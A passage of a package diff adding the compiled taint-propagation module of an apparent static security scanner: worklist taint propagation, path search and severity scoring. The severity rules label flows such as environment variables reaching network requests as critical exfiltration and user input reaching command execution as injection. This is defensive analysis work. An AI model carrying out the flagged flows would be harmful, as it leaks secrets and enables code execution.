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"}
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Taint Propagation using Worklist Algorithm
|
|
3
|
+
*
|
|
4
|
+
* Propagates taint from sources through the dataflow graph:
|
|
5
|
+
* 1. Initialize worklist with all source nodes
|
|
6
|
+
* 2. For each node in worklist, mark all successors as tainted
|
|
7
|
+
* 3. Repeat until no new tainted nodes (fixpoint)
|
|
8
|
+
*
|
|
9
|
+
* Complexity: O(N + E) where N = nodes, E = edges
|
|
10
|
+
*
|
|
11
|
+
* Phase 3.1: Dataflow Implementation
|
|
12
|
+
*/
|
|
13
|
+
import { DataFlowGraph, TaintSource, TaintSink, DataFlowPath } from './dataflow-types.js';
|
|
14
|
+
/**
|
|
15
|
+
* Propagate taint through dataflow graph
|
|
16
|
+
*/
|
|
17
|
+
export declare function propagateTaint(graph: DataFlowGraph, sources: TaintSource[]): Set<string>;
|
|
18
|
+
/**
|
|
19
|
+
* Find all taint paths from sources to sinks
|
|
20
|
+
*/
|
|
21
|
+
export declare function findTaintPaths(graph: DataFlowGraph, sources: TaintSource[], sinks: TaintSink[], taintedNodeIds: Set<string>): DataFlowPath[];
|
|
22
|
+
/**
|
|
23
|
+
* Extract taint sources from dataflow graph
|
|
24
|
+
*/
|
|
25
|
+
export declare function extractTaintSources(graph: DataFlowGraph): TaintSource[];
|
|
26
|
+
/**
|
|
27
|
+
* Extract taint sinks from dataflow graph
|
|
28
|
+
*/
|
|
29
|
+
export declare function extractTaintSinks(graph: DataFlowGraph): TaintSink[];
|
|
30
|
+
//# sourceMappingURL=taint-propagation.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"taint-propagation.d.ts","sourceRoot":"","sources":["../../src/analysis/taint-propagation.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAEH,OAAO,EAAE,aAAa,EAAE,WAAW,EAAE,SAAS,EAAE,YAAY,EAAgB,MAAM,qBAAqB,CAAC;AAExG;;GAEG;AACH,wBAAgB,cAAc,CAC5B,KAAK,EAAE,aAAa,EACpB,OAAO,EAAE,WAAW,EAAE,GACrB,GAAG,CAAC,MAAM,CAAC,CA6Bb;AAED;;GAEG;AACH,wBAAgB,cAAc,CAC5B,KAAK,EAAE,aAAa,EACpB,OAAO,EAAE,WAAW,EAAE,EACtB,KAAK,EAAE,SAAS,EAAE,EAClB,cAAc,EAAE,GAAG,CAAC,MAAM,CAAC,GAC1B,YAAY,EAAE,CA4BhB;AA2HD;;GAEG;AACH,wBAAgB,mBAAmB,CAAC,KAAK,EAAE,aAAa,GAAG,WAAW,EAAE,CAuBvE;AAED;;GAEG;AACH,wBAAgB,iBAAiB,CAAC,KAAK,EAAE,aAAa,GAAG,SAAS,EAAE,CAoBnE"}
|
|
@@ -0,0 +1,207 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Taint Propagation using Worklist Algorithm
|
|
3
|
+
*
|
|
4
|
+
* Propagates taint from sources through the dataflow graph:
|
|
5
|
+
* 1. Initialize worklist with all source nodes
|
|
6
|
+
* 2. For each node in worklist, mark all successors as tainted
|
|
7
|
+
* 3. Repeat until no new tainted nodes (fixpoint)
|
|
8
|
+
*
|
|
9
|
+
* Complexity: O(N + E) where N = nodes, E = edges
|
|
10
|
+
*
|
|
11
|
+
* Phase 3.1: Dataflow Implementation
|
|
12
|
+
*/
|
|
13
|
+
/**
|
|
14
|
+
* Propagate taint through dataflow graph
|
|
15
|
+
*/
|
|
16
|
+
export function propagateTaint(graph, sources) {
|
|
17
|
+
const tainted = new Set(); // Set of tainted node IDs
|
|
18
|
+
const worklist = []; // Nodes to process
|
|
19
|
+
// Initialize: Add all source nodes to worklist
|
|
20
|
+
for (const source of sources) {
|
|
21
|
+
if (!tainted.has(source.nodeId)) {
|
|
22
|
+
tainted.add(source.nodeId);
|
|
23
|
+
worklist.push(source.nodeId);
|
|
24
|
+
}
|
|
25
|
+
}
|
|
26
|
+
// Propagate taint until no changes
|
|
27
|
+
while (worklist.length > 0) {
|
|
28
|
+
const nodeId = worklist.shift();
|
|
29
|
+
// Find all successors (outgoing edges from this node)
|
|
30
|
+
for (const edge of graph.edges.filter((e) => e.from === nodeId)) {
|
|
31
|
+
const successorId = edge.to;
|
|
32
|
+
// If successor is not already tainted, mark it and add to worklist
|
|
33
|
+
if (!tainted.has(successorId)) {
|
|
34
|
+
tainted.add(successorId);
|
|
35
|
+
worklist.push(successorId);
|
|
36
|
+
}
|
|
37
|
+
}
|
|
38
|
+
}
|
|
39
|
+
return tainted;
|
|
40
|
+
}
|
|
41
|
+
/**
|
|
42
|
+
* Find all taint paths from sources to sinks
|
|
43
|
+
*/
|
|
44
|
+
export function findTaintPaths(graph, sources, sinks, taintedNodeIds) {
|
|
45
|
+
const paths = [];
|
|
46
|
+
// For each sink, check if it's tainted and trace back to sources
|
|
47
|
+
for (const sink of sinks) {
|
|
48
|
+
if (!taintedNodeIds.has(sink.nodeId)) {
|
|
49
|
+
continue; // Sink is not reachable from any source
|
|
50
|
+
}
|
|
51
|
+
// Find which sources can reach this sink
|
|
52
|
+
for (const source of sources) {
|
|
53
|
+
const path = findPathBFS(graph, source.nodeId, sink.nodeId);
|
|
54
|
+
if (path) {
|
|
55
|
+
const confidence = calculateConfidence(path);
|
|
56
|
+
const severity = calculateSeverity(source, sink);
|
|
57
|
+
paths.push({
|
|
58
|
+
source,
|
|
59
|
+
sink,
|
|
60
|
+
path,
|
|
61
|
+
confidence,
|
|
62
|
+
severity,
|
|
63
|
+
});
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
}
|
|
67
|
+
return paths;
|
|
68
|
+
}
|
|
69
|
+
/**
|
|
70
|
+
* Find path from source to sink using BFS
|
|
71
|
+
*/
|
|
72
|
+
function findPathBFS(graph, sourceNodeId, sinkNodeId) {
|
|
73
|
+
const visited = new Set();
|
|
74
|
+
const queue = [
|
|
75
|
+
{ nodeId: sourceNodeId, path: [sourceNodeId] },
|
|
76
|
+
];
|
|
77
|
+
while (queue.length > 0) {
|
|
78
|
+
const { nodeId, path } = queue.shift();
|
|
79
|
+
// Found the sink
|
|
80
|
+
if (nodeId === sinkNodeId) {
|
|
81
|
+
return path.map((id) => graph.nodes.find((n) => n.id === id));
|
|
82
|
+
}
|
|
83
|
+
if (visited.has(nodeId)) {
|
|
84
|
+
continue;
|
|
85
|
+
}
|
|
86
|
+
visited.add(nodeId);
|
|
87
|
+
// Add all successors to queue
|
|
88
|
+
for (const edge of graph.edges.filter((e) => e.from === nodeId)) {
|
|
89
|
+
if (!visited.has(edge.to)) {
|
|
90
|
+
queue.push({ nodeId: edge.to, path: [...path, edge.to] });
|
|
91
|
+
}
|
|
92
|
+
}
|
|
93
|
+
}
|
|
94
|
+
return null; // No path found
|
|
95
|
+
}
|
|
96
|
+
/**
|
|
97
|
+
* Calculate confidence level based on path complexity
|
|
98
|
+
*/
|
|
99
|
+
function calculateConfidence(path) {
|
|
100
|
+
// Direct flow (source → sink): high confidence
|
|
101
|
+
if (path.length <= 2) {
|
|
102
|
+
return 'high';
|
|
103
|
+
}
|
|
104
|
+
// Short path (2-5 steps): high confidence
|
|
105
|
+
if (path.length <= 5) {
|
|
106
|
+
return 'high';
|
|
107
|
+
}
|
|
108
|
+
// Medium path (5-10 steps): medium confidence
|
|
109
|
+
if (path.length <= 10) {
|
|
110
|
+
return 'medium';
|
|
111
|
+
}
|
|
112
|
+
// Long path (10+ steps): low confidence (likely false positive)
|
|
113
|
+
return 'low';
|
|
114
|
+
}
|
|
115
|
+
/**
|
|
116
|
+
* Calculate severity based on source and sink types
|
|
117
|
+
*/
|
|
118
|
+
function calculateSeverity(source, sink) {
|
|
119
|
+
// Environment variable → command execution: CRITICAL
|
|
120
|
+
if (source.type === 'env-var' && sink.type === 'command-execution') {
|
|
121
|
+
return 'CRITICAL';
|
|
122
|
+
}
|
|
123
|
+
// Environment variable → code evaluation: CRITICAL
|
|
124
|
+
if (source.type === 'env-var' && sink.type === 'code-evaluation') {
|
|
125
|
+
return 'CRITICAL';
|
|
126
|
+
}
|
|
127
|
+
// Environment variable → network request: CRITICAL (exfiltration)
|
|
128
|
+
if (source.type === 'env-var' && sink.type === 'network-request') {
|
|
129
|
+
return 'CRITICAL';
|
|
130
|
+
}
|
|
131
|
+
// User input → command execution: CRITICAL (command injection)
|
|
132
|
+
if (source.type === 'user-input' && sink.type === 'command-execution') {
|
|
133
|
+
return 'CRITICAL';
|
|
134
|
+
}
|
|
135
|
+
// User input → code evaluation: CRITICAL (code injection)
|
|
136
|
+
if (source.type === 'user-input' && sink.type === 'code-evaluation') {
|
|
137
|
+
return 'CRITICAL';
|
|
138
|
+
}
|
|
139
|
+
// User input → network request: HIGH (data exfiltration)
|
|
140
|
+
if (source.type === 'user-input' && sink.type === 'network-request') {
|
|
141
|
+
return 'HIGH';
|
|
142
|
+
}
|
|
143
|
+
// Network response → command execution: HIGH (supply chain attack)
|
|
144
|
+
if (source.type === 'network-response' && sink.type === 'command-execution') {
|
|
145
|
+
return 'HIGH';
|
|
146
|
+
}
|
|
147
|
+
// Network response → code evaluation: HIGH (supply chain attack)
|
|
148
|
+
if (source.type === 'network-response' && sink.type === 'code-evaluation') {
|
|
149
|
+
return 'HIGH';
|
|
150
|
+
}
|
|
151
|
+
// File write with tainted path: HIGH (path traversal)
|
|
152
|
+
if (sink.type === 'file-write') {
|
|
153
|
+
return 'HIGH';
|
|
154
|
+
}
|
|
155
|
+
// Dynamic import with tainted module: HIGH (malicious code loading)
|
|
156
|
+
if (sink.type === 'dynamic-import') {
|
|
157
|
+
return 'HIGH';
|
|
158
|
+
}
|
|
159
|
+
// Default: MEDIUM
|
|
160
|
+
return 'MEDIUM';
|
|
161
|
+
}
|
|
162
|
+
/**
|
|
163
|
+
* Extract taint sources from dataflow graph
|
|
164
|
+
*/
|
|
165
|
+
export function extractTaintSources(graph) {
|
|
166
|
+
const sources = [];
|
|
167
|
+
for (const nodeId of graph.sourceNodeIds) {
|
|
168
|
+
const node = graph.nodes.find((n) => n.id === nodeId);
|
|
169
|
+
if (!node)
|
|
170
|
+
continue;
|
|
171
|
+
const sourceType = node.metadata?.sourceType || 'env-var';
|
|
172
|
+
const envVarName = node.metadata?.envVarName || node.identifier || 'UNKNOWN';
|
|
173
|
+
sources.push({
|
|
174
|
+
nodeId: node.id,
|
|
175
|
+
type: sourceType,
|
|
176
|
+
identifier: node.identifier || 'unknown',
|
|
177
|
+
line: node.line,
|
|
178
|
+
column: node.column,
|
|
179
|
+
metadata: {
|
|
180
|
+
envVarName,
|
|
181
|
+
},
|
|
182
|
+
});
|
|
183
|
+
}
|
|
184
|
+
return sources;
|
|
185
|
+
}
|
|
186
|
+
/**
|
|
187
|
+
* Extract taint sinks from dataflow graph
|
|
188
|
+
*/
|
|
189
|
+
export function extractTaintSinks(graph) {
|
|
190
|
+
const sinks = [];
|
|
191
|
+
for (const nodeId of graph.sinkNodeIds) {
|
|
192
|
+
const node = graph.nodes.find((n) => n.id === nodeId);
|
|
193
|
+
if (!node)
|
|
194
|
+
continue;
|
|
195
|
+
const sinkType = node.metadata?.sinkType || 'unknown';
|
|
196
|
+
const functionName = node.metadata?.functionName || node.identifier || 'unknown';
|
|
197
|
+
sinks.push({
|
|
198
|
+
nodeId: node.id,
|
|
199
|
+
type: sinkType,
|
|
200
|
+
function: functionName,
|
|
201
|
+
line: node.line,
|
|
202
|
+
column: node.column,
|
|
203
|
+
});
|
|
204
|
+
}
|
|
205
|
+
return sinks;
|
|
206
|
+
}
|
|
207
|
+
//# sourceMappingURL=taint-propagation.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"taint-propagation.js","sourceRoot":"","sources":["../../src/analysis/taint-propagation.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAIH;;GAEG;AACH,MAAM,UAAU,cAAc,CAC5B,KAAoB,EACpB,OAAsB;IAEtB,MAAM,OAAO,GAAG,IAAI,GAAG,EAAU,CAAC,CAAE,0BAA0B;IAC9D,MAAM,QAAQ,GAAa,EAAE,CAAC,CAAO,mBAAmB;IAExD,+CAA+C;IAC/C,KAAK,MAAM,MAAM,IAAI,OAAO,EAAE,CAAC;QAC7B,IAAI,CAAC,OAAO,CAAC,GAAG,CAAC,MAAM,CAAC,MAAM,CAAC,EAAE,CAAC;YAChC,OAAO,CAAC,GAAG,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC;YAC3B,QAAQ,CAAC,IAAI,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC;QAC/B,CAAC;IACH,CAAC;IAED,mCAAmC;IACnC,OAAO,QAAQ,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;QAC3B,MAAM,MAAM,GAAG,QAAQ,CAAC,KAAK,EAAG,CAAC;QAEjC,sDAAsD;QACtD,KAAK,MAAM,IAAI,IAAI,KAAK,CAAC,KAAK,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,IAAI,KAAK,MAAM,CAAC,EAAE,CAAC;YAChE,MAAM,WAAW,GAAG,IAAI,CAAC,EAAE,CAAC;YAE5B,mEAAmE;YACnE,IAAI,CAAC,OAAO,CAAC,GAAG,CAAC,WAAW,CAAC,EAAE,CAAC;gBAC9B,OAAO,CAAC,GAAG,CAAC,WAAW,CAAC,CAAC;gBACzB,QAAQ,CAAC,IAAI,CAAC,WAAW,CAAC,CAAC;YAC7B,CAAC;QACH,CAAC;IACH,CAAC;IAED,OAAO,OAAO,CAAC;AACjB,CAAC;AAED;;GAEG;AACH,MAAM,UAAU,cAAc,CAC5B,KAAoB,EACpB,OAAsB,EACtB,KAAkB,EAClB,cAA2B;IAE3B,MAAM,KAAK,GAAmB,EAAE,CAAC;IAEjC,iEAAiE;IACjE,KAAK,MAAM,IAAI,IAAI,KAAK,EAAE,CAAC;QACzB,IAAI,CAAC,cAAc,CAAC,GAAG,CAAC,IAAI,CAAC,MAAM,CAAC,EAAE,CAAC;YACrC,SAAS,CAAC,wCAAwC;QACpD,CAAC;QAED,yCAAyC;QACzC,KAAK,MAAM,MAAM,IAAI,OAAO,EAAE,CAAC;YAC7B,MAAM,IAAI,GAAG,WAAW,CAAC,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,IAAI,CAAC,MAAM,CAAC,CAAC;YAC5D,IAAI,IAAI,EAAE,CAAC;gBACT,MAAM,UAAU,GAAG,mBAAmB,CAAC,IAAI,CAAC,CAAC;gBAC7C,MAAM,QAAQ,GAAG,iBAAiB,CAAC,MAAM,EAAE,IAAI,CAAC,CAAC;gBAEjD,KAAK,CAAC,IAAI,CAAC;oBACT,MAAM;oBACN,IAAI;oBACJ,IAAI;oBACJ,UAAU;oBACV,QAAQ;iBACT,CAAC,CAAC;YACL,CAAC;QACH,CAAC;IACH,CAAC;IAED,OAAO,KAAK,CAAC;AACf,CAAC;AAED;;GAEG;AACH,SAAS,WAAW,CAClB,KAAoB,EACpB,YAAoB,EACpB,UAAkB;IAElB,MAAM,OAAO,GAAG,IAAI,GAAG,EAAU,CAAC;IAClC,MAAM,KAAK,GAA8C;QACvD,EAAE,MAAM,EAAE,YAAY,EAAE,IAAI,EAAE,CAAC,YAAY,CAAC,EAAE;KAC/C,CAAC;IAEF,OAAO,KAAK,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;QACxB,MAAM,EAAE,MAAM,EAAE,IAAI,EAAE,GAAG,KAAK,CAAC,KAAK,EAAG,CAAC;QAExC,iBAAiB;QACjB,IAAI,MAAM,KAAK,UAAU,EAAE,CAAC;YAC1B,OAAO,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,EAAE,EAAE,CAAC,KAAK,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,EAAE,CAAE,CAAC,CAAC;QACjE,CAAC;QAED,IAAI,OAAO,CAAC,GAAG,CAAC,MAAM,CAAC,EAAE,CAAC;YACxB,SAAS;QACX,CAAC;QACD,OAAO,CAAC,GAAG,CAAC,MAAM,CAAC,CAAC;QAEpB,8BAA8B;QAC9B,KAAK,MAAM,IAAI,IAAI,KAAK,CAAC,KAAK,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,IAAI,KAAK,MAAM,CAAC,EAAE,CAAC;YAChE,IAAI,CAAC,OAAO,CAAC,GAAG,CAAC,IAAI,CAAC,EAAE,CAAC,EAAE,CAAC;gBAC1B,KAAK,CAAC,IAAI,CAAC,EAAE,MAAM,EAAE,IAAI,CAAC,EAAE,EAAE,IAAI,EAAE,CAAC,GAAG,IAAI,EAAE,IAAI,CAAC,EAAE,CAAC,EAAE,CAAC,CAAC;YAC5D,CAAC;QACH,CAAC;IACH,CAAC;IAED,OAAO,IAAI,CAAC,CAAC,gBAAgB;AAC/B,CAAC;AAED;;GAEG;AACH,SAAS,mBAAmB,CAAC,IAAoB;IAC/C,+CAA+C;IAC/C,IAAI,IAAI,CAAC,MAAM,IAAI,CAAC,EAAE,CAAC;QACrB,OAAO,MAAM,CAAC;IAChB,CAAC;IAED,0CAA0C;IAC1C,IAAI,IAAI,CAAC,MAAM,IAAI,CAAC,EAAE,CAAC;QACrB,OAAO,MAAM,CAAC;IAChB,CAAC;IAED,8CAA8C;IAC9C,IAAI,IAAI,CAAC,MAAM,IAAI,EAAE,EAAE,CAAC;QACtB,OAAO,QAAQ,CAAC;IAClB,CAAC;IAED,gEAAgE;IAChE,OAAO,KAAK,CAAC;AACf,CAAC;AAED;;GAEG;AACH,SAAS,iBAAiB,CACxB,MAAmB,EACnB,IAAe;IAEf,qDAAqD;IACrD,IAAI,MAAM,CAAC,IAAI,KAAK,SAAS,IAAI,IAAI,CAAC,IAAI,KAAK,mBAAmB,EAAE,CAAC;QACnE,OAAO,UAAU,CAAC;IACpB,CAAC;IAED,mDAAmD;IACnD,IAAI,MAAM,CAAC,IAAI,KAAK,SAAS,IAAI,IAAI,CAAC,IAAI,KAAK,iBAAiB,EAAE,CAAC;QACjE,OAAO,UAAU,CAAC;IACpB,CAAC;IAED,kEAAkE;IAClE,IAAI,MAAM,CAAC,IAAI,KAAK,SAAS,IAAI,IAAI,CAAC,IAAI,KAAK,iBAAiB,EAAE,CAAC;QACjE,OAAO,UAAU,CAAC;IACpB,CAAC;IAED,+DAA+D;IAC/D,IAAI,MAAM,CAAC,IAAI,KAAK,YAAY,IAAI,IAAI,CAAC,IAAI,KAAK,mBAAmB,EAAE,CAAC;QACtE,OAAO,UAAU,CAAC;IACpB,CAAC;IAED,0DAA0D;IAC1D,IAAI,MAAM,CAAC,IAAI,KAAK,YAAY,IAAI,IAAI,CAAC,IAAI,KAAK,iBAAiB,EAAE,CAAC;QACpE,OAAO,UAAU,CAAC;IACpB,CAAC;IAED,yDAAyD;IACzD,IAAI,MAAM,CAAC,IAAI,KAAK,YAAY,IAAI,IAAI,CAAC,IAAI,KAAK,iBAAiB,EAAE,CAAC;QACpE,OAAO,MAAM,CAAC;IAChB,CAAC;IAED,mEAAmE;IACnE,IAAI,MAAM,CAAC,IAAI,KAAK,kBAAkB,IAAI,IAAI,CAAC,IAAI,KAAK,mBAAmB,EAAE,CAAC;QAC5E,OAAO,MAAM,CAAC;IAChB,CAAC;IAED,iEAAiE;IACjE,IAAI,MAAM,CAAC,IAAI,KAAK,kBAAkB,IAAI,IAAI,CAAC,IAAI,KAAK,iBAAiB,EAAE,CAAC;QAC1E,OAAO,MAAM,CAAC;IAChB,CAAC;IAED,sDAAsD;IACtD,IAAI,IAAI,CAAC,IAAI,KAAK,YAAY,EAAE,CAAC;QAC/B,OAAO,MAAM,CAAC;IAChB,CAAC;IAED,oEAAoE;IACpE,IAAI,IAAI,CAAC,IAAI,KAAK,gBAAgB,EAAE,CAAC;QACnC,OAAO,MAAM,CAAC;IAChB,CAAC;IAED,kBAAkB;IAClB,OAAO,QAAQ,CAAC;AAClB,CAAC;AAED;;GAEG;AACH,MAAM,UAAU,mBAAmB,CAAC,KAAoB;IACtD,MAAM,OAAO,GAAkB,EAAE,CAAC;IAElC,KAAK,MAAM,MAAM,IAAI,KAAK,CAAC,aAAa,EAAE,CAAC;QACzC,MAAM,IAAI,GAAG,KAAK,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,MAAM,CAAC,CAAC;QACtD,IAAI,CAAC,IAAI;YAAE,SAAS;QAEpB,MAAM,UAAU,GAAG,IAAI,CAAC,QAAQ,EAAE,UAAU,IAAI,SAAS,CAAC;QAC1D,MAAM,UAAU,GAAG,IAAI,CAAC,QAAQ,EAAE,UAAU,IAAI,IAAI,CAAC,UAAU,IAAI,SAAS,CAAC;QAE7E,OAAO,CAAC,IAAI,CAAC;YACX,MAAM,EAAE,IAAI,CAAC,EAAE;YACf,IAAI,EAAE,UAAU;YAChB,UAAU,EAAE,IAAI,CAAC,UAAU,IAAI,SAAS;YACxC,IAAI,EAAE,IAAI,CAAC,IAAI;YACf,MAAM,EAAE,IAAI,CAAC,MAAM;YACnB,QAAQ,EAAE;gBACR,UAAU;aACX;SACF,CAAC,CAAC;IACL,CAAC;IAED,OAAO,OAAO,CAAC;AACjB,CAAC;AAED;;GAEG;AACH,MAAM,UAAU,iBAAiB,CAAC,KAAoB;IACpD,MAAM,KAAK,GAAgB,EAAE,CAAC;IAE9B,KAAK,MAAM,MAAM,IAAI,KAAK,CAAC,WAAW,EAAE,CAAC;QACvC,MAAM,IAAI,GAAG,KAAK,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,MAAM,CAAC,C